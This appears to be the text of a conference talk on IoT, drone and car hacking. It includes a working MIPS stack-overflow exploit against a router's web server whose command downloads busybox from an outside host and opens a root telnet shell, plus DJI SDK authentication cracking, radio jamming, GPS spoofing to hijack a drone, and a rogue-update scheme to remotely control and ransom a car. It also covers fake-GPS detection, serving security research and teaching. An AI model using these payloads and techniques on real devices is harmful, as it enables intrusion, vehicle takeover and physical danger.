
IoT, SDR, and Car Security

Aaron Luo



Who am I

• Aaron Luo

• Come from Taiwan

• Start security research since 15th



Community Experience

• CHROOT/HITCON (security group) - member

• III,CSIST (government organizations) - training course instructor

• MJIB (government organizations) – consultant

• AIS3 (ministry of education) - training course instructor

• HITCON 2009,2012 – speaker

• SYSCAN360 – speaker

• CLOUDSEC Asia 2016 – speaker

• UISGCON12 – speaker

• DEFCON 24 – speaker



Agenda

• How to hacking IoT?
– Hardware

– Software

– Radio Signal

– Real Case

• Introduce the Car Architecture

• Hacking the Car



How to hacking? (Before disassemble)

• Scanning open services
– Nmap

• Sniff traffics
– Router - tcpdump

– Mirror port

– Build bridge network

– Wifi hotspot 

– Arp spoofing

– SDR

• Download the firmware
– From website

– From firmware update module



Sniff traffics – Router

• Software router – pfSense



Sniff traffics – Mirror port

• LAN Tap Pro



Sniff traffics – Build bridge network

• RaspberryPI

• External Ethernet card*1

ifconfig eth0 0.0.0.0 promisc up

Ifconfig eth1 0.0.0.0 promisc up

Brctl addbr br0

Brctl addif br0 eth0 

Brctl addif br0 eth1

Ifconfig br0 up

tcpdump -i eth0



Sniff traffics – Arp Spoofing

• ettercap

• arpspoof+mitmproxy



Sniff traffics - SDR

• Software-Defined Radio
– Generate any radio protocol if device support that frequency

– Writing Modulation / Demodulation program by yourself

– Simply inspect the radio spectrum



How to hacking? (After disassemble)

• Identify chipsets

• Find out the debug port
– UART

– SWD

– JTAG

• Dump the flash rom
– Bus Pirate

• Analysis the signal
– Logic Analyzer



Identify chipsets

• Remove the glue

• Guess (google same type chipsets to compare datasheet)



Find out debug port
• UART

– TX

– RX

– GND

– VCC

• SWD
– SWDIO

– SWCLK

– GND

– VCC

• JTAG
– TDI

– TDO

– GND

– VCC



Dump the Rom

• Bus Pirate

• Dump EEPROM via SPI

(reference from http://iotpentest.com/how-to-dump-the-firmware-from-the-router-using-buspirate/)



Analysis the signal

• Saleae Logic Analyzer
– Just care the GND



A real case



Wireless AP



Disassemble



Find out debug port – part 1

• Special unused 4 port
– Guess it’s debug port

– welding 



Find out debug port – part 2

• Find out the GND



Find out debug port – part 3

• Test ports



Find out debug port – part 4

• Measure the voltage



Find out debug port – part 5

• Analysis the signal with Logic Analyzer
– GND-GND



Find out debug port – part 6

• Analysis the signal with Logic Analyzer



Find out debug port – part 7

• Analysis the signal with Logic Analyzer
– Calculate the baudrate

– 1/0.00001725 ~= 57971

– General baudrate: 
300,1200,2400,4800,9600,14400,19200,28800,38400,57600,115200



Find out debug port – part 8

• Analysis the signal with Logic Analyzer
– Decode with Async Serial

– Baudrate 57600



Find out debug port – part 9

• Analysis the signal with Logic Analyzer
– Finally decode the signal



Find out debug port – part 10

• Analysis the signal with Logic Analyzer
– Finally we know…



Find out debug port – part 11

• Connect to USBTTL
– GND-GND

– TXD-RXD

– RXD-TXD



Find out debug port – part 12

• Finally we got the Putty shell



Key mapping is wrong?

• 0x13 -> v

• 0x14 -> ?

• 0x15 -> u

• 0x16 -> ?

• 0x17 -> t

• I follow this strange rule to write the decoder
char asciitable[] = " !\"#$%&'()*+,-
./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";

for (int i=0;i<sizeof(asciitable)-1;i++)

{

if (tmpchr == asciitable[i])

{

tmpinput[inputpos++] = 0x03+(sizeof(asciitable)-2-i)*2;

}

}



But Why?



Just because RXD did not weld well
Just because RXD did not weld well

Just because RXD did not weld well



Pick up the filesystem

• tar -zcvf /www/fs.tar.gz /



Find the vulnerability – part 1

• Fuzzing the website
– httpClient.request("POST","/login.html","a"*(30000)

• /usr/sbin/httpd will crash



Find the vulnerability – part 2

• Upload gdbserver (mips version) for remote debugging
– /usr/sbin/httpd; ./gdbserver --attach 0.0.0.0:5555 `pidof httpd`



Find the vulnerability – part 3

• Stack overflow

• Finally located the crash function
– /usr/sbin/httpd 0x0040D44C

• If stack is incorrect it will crash before control the ra(ip)

• So need to dump original stack to fix
– dump memory stack.bin $sp $sp+26000

• ASLR  is enabled
– # cat /proc/sys/kernel/randomize_va_space

– 1



Find the vulnerability – part 4

• Control the ra (ip)
origstack = "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"\

"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"\

"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00“

s0 = "\x41\x41\x41\x41"

s1 = "\x00\x00\x54\x00"

s2 = "\x43\x43\x43\x43"

s3 = "\x44\x44\x44\x44"

s4 = "\x8C\x8E\x4F\x00"

s5 = "\x46\x46\x46\x46"

s6 = "\x60\xE2\x53\x00"

s7 = "\x04\x00\x00\x00"

s8 = "\x49\x49\x49\x49"

ra = "\x78\x56\x34\x12“

• httpClient.request("POST","/login.html","a"*(25262)+origstac
k+s0+s1+s2+s3+s4+s5+s6+s7+s8+ra)



Find the vulnerability – part 5

• Bypass the ASLR
– 1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO 

and heap are randomized.

– Find rop chain on self program



Finally we got the RCE root shell

origstack = "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"\

"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"\

"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"

s0 = "\x41\x41\x41\x41"

s1 = "\x00\x00\x54\x00"

s2 = "\x43\x43\x43\x43"

s3 = "\x44\x44\x44\x44"

s4 = "\x8C\x8E\x4F\x00"

s5 = "\x46\x46\x46\x46"

s6 = "\x60\xE2\x53\x00"

s7 = "\x04\x00\x00\x00"

s8 = "\x49\x49\x49\x49"

ra = "\x58\x79\x40\x00"

command = "wget -O /tmp/busybox-mipsel http://192.168.11.4:8080/busybox-mipsel && chmod 755 
/tmp/busybox-mipsel && cd /tmp && ./busybox-mipsel telnetd -l /bin/sh -p 2323"

httpClient.request("POST","/login.html","a"*(25262)+origstack+s0+s1+s2+s3+s4+s5+s6+s7+s8+ra+"a"*32+co
mmand,headers)



The Real Case

DJI-Phantom 3 Advanced



DJI Phantom 3A Architecture

• Drone

– Flight controller

• 2.4GHz radio module

• GPS module

• Sensors (compass, Gyroscope, Accelerometer, Barometer…etc.)

• Micro-USB Slug (flight simulating program need this to connect)

• MicroSD Slug (firmware updated usage and photo storage)

– Other Parts(battery, screw propeller, camera, gimbals, pilot lamp)

• Remote Controller

– 2.4GHz radio module

– USB Slug (I/O function with phone’s App)

– Micro-USB Slug (firmware update usage)

– Other Parts (Joystick, button, lights)

• App/SDK

– Connect to Remote Control, display drone information 

(like image of camera, GPS data and Compass)

– Operator Drone (drone takeoff, Automatic return)
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• Micro-USB Slug (flight simulating program need this to connect)

• MicroSD Slug (firmware updated usage and photo storage)

– Other Parts(battery, screw propeller, camera, gimbals, pilot lamp)

• Remote Controller

– 2.4GHz radio module

– USB Slug (I/O function with phone’s App)
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App/SDK Analysis



DJI App/SDK Flow Chart



Crack the SDK Authentication Mechanism

• Download SDK from DJI website

• Find key function with JD-GUI



Crack the SDK Authentication Mechanism

• Use JBE - Java Bytecode Editor to patch the code



Crack the SDK Authentication Mechanism

• Check the result with JD-GUI



DEMO

Take off/Landing

file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo2_Landing.MTS


DEMO

Fly to specified location

file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo3_ReturnToHome.MTS


Next section:

Firmware Analysis



Firmware Analysis

• Use the “Binwalk” can extract some data, but it is limited.



Firmware Analysis

• Use IDA Pro to analyze the incomplete data

• We need to find out the real “ImageBase” to use the IDA 
Pro string reference feature



Firmware Analysis

• Use String Reference to find the key function



Firmware Analysis

• Analysis and writing the parser



Firmware Analysis
• Finally we can extract each firmware module with 

detailed information



Firmware Analysis

• Extract UBI file system from PFC300SFw3.bin



Firmware Analysis

• extract some interesting things from file system (for 
example, ssh key data and configuration, 
/etc/shadow…etc.)



Let’s play SDR (software defined radio)



What is SDR

• Software-Defined Radio
– Generate any radio protocol if device support that frequency

– Writing Modulation / Demodulation program by yourself

– Simply inspect the radio spectrum



SDR Tools

• HackRF tools

• Gqrx - Display the spectrum waterfall

• GNURadio – GUI tool for modulation/demodulation

• OpenBTS – open source tool for building GSM Station

• Artemis – Identify protocol

• Baudline – for analysis the I/Q data



If you have the SDR



Sniffing walkie-talkie conversation

DEMO

file:///C:/Users/User/Desktop/Conference/Demo_Video/Walkie-talkie.mov


Jamming the radio signal (like DDOS)

DEMO

file:///C:/Users/User/Desktop/Conference/Demo_Video/jamming.mp4


Sniffing airplane <-> ground station ads-b signal



Sniffing GSM – SMS traffic



Putting some image on spectrum

spectrum_painter



Let’s analysis the Drone radio

• How to find the frequency?
– FCC ID

– Inspect by SDR



Radio Signal Analysis

P3A use two modulation/demodulation 

to transfer data with 2.4GHz ISM band



RC to Drone radio spectrum (FHSS)

• Control drone direction (up down left right)

• Frequency 2.400~2.483GHz, each channel about 1MHz



DSSS - Drone to RC radio spectrum

• For drone to remote controller image transmission

• Frequency 2.4015~2.4815 GHz

• split into 6 channels, each channel is about 10MHz



Finally we found…

• Images have no checksum mechanism, so we can 
jamming the radio frequency to show wrong image to 
controller  



DEMO

file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo4_jamming_FPV_system.avi


Next section:

GPS Modules



Which function is associate with GPS?

• No-fly zone

• Return to home

• Follow me

• Waypoint



How to spoof the GPS location?

• Use the SDR

• There have a good open-source GPS simulator in GitHub, 
called gps-sdr-sim, but it have some limitation, before you 
want fake a location, should wait for few minutes to generate 
the I/Q data

• So we improve the code, let it can in real-time generate GPS 
signal and can be controlled with the joystick.



Live Demo
(open your mobile maps)





DEMO

Control GPS by Joystick

file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo6_control_gps_location_by_joystick.MOV


How to Increase the radio range?

• Buy some active directional antenna



DEMO

Hijacking Drone by Joystick

file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo7_hijacking_by_joystick.avi


How to detect the fake GPS signal?

• You need a GPS module to debug GPS signals.
– U-blox M8N



U-blox M8N built in anti-spoofing feature 
(Only for GNSS, not support the GPS)



How to detect the fake GPS signal?

• Validate the time between satellite time and real time



How to detect the fake GPS signal?

• Check the motion speed between point to point
– For example it is impossible to change your location from Taiwan to 

Serbia in one second



How to detect the fake GPS signal?

• Validate the GPS sub-frame data



Develop the fake GPS detector
• Board: RaspberryPI

• GPS modules: u-blox



DEMO

Detect Fake GPS Signal

file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo8_detect_fake_GPS.MOV


DEMO

Catch The Bad Guys

file:///C:/Users/User/Desktop/Conference/Demo_Video/Demo9_detect_fake_GPS_catch_bad_guys.MTS


Car Security



Car Architecture 

(Reference from: http://knoppix.ru/sentinel/130312.html)



CAN-BUS Network

(Reference from: http://www.aa1car.com/library/can_systems.htm)



Remote attack vector

• Remote keyless

• IVI System

• Wireless - OBDII dongle



Remote keyless

• SDR
– Record/Replay

– Analysis the protocol

– Proxy Tunnel



IVI System

• Connected with can-bus

• Wifi

• Bluetooth

• Radio

• Web browser



A real case



IVI System



Risk of IVI and ECU

IVI

App 

Center
GPS

ECU

Unlock doorWidows lock

automatic brake systems collision warning systems

CAN-BUS



Power on the IVI without the Car

• Use 12V Scrap computer’s power supply



Overview

Product: T***h*i Create 2nd Generation 
OS: Android 4.4.4
Memory: 1G

GPS: GLONASS/Galilean satellites
- supports H.265 video decode

Radio: Analogue with RDS 6686
DVD: Yes
Bluetooth: Yes



Research

• Get Root Access

• Dump Firmware

• Connected ADB

• Known Issues
– Fake GPS

– Open Bluetooth

– Crash EasyConnect via AirPlay protocol 



Pin Layout of CAN



Send CAN-BUS MSG by App

• Unrestricted sending CAN control signal

• Enable “Install from unknown source” by default



Attack Scenario

Free Rouge 

WIFI

Fake System 

Update

Install 

Send 

Location / 

Device Info

Remote 

Control 

CANBUS

Use DNS to 

redirect 

user’s 

browser

Use CnC

page to 

trigger 

actions

Have to 

trigger by 

search page





Ransom your car



C&C Management



DEMO

file:///C:/Users/User/Desktop/Conference/Demo_Video/ivi_demo.mp4


Q&A



Thank you
(Mail: aaronluo17@gmail.com)


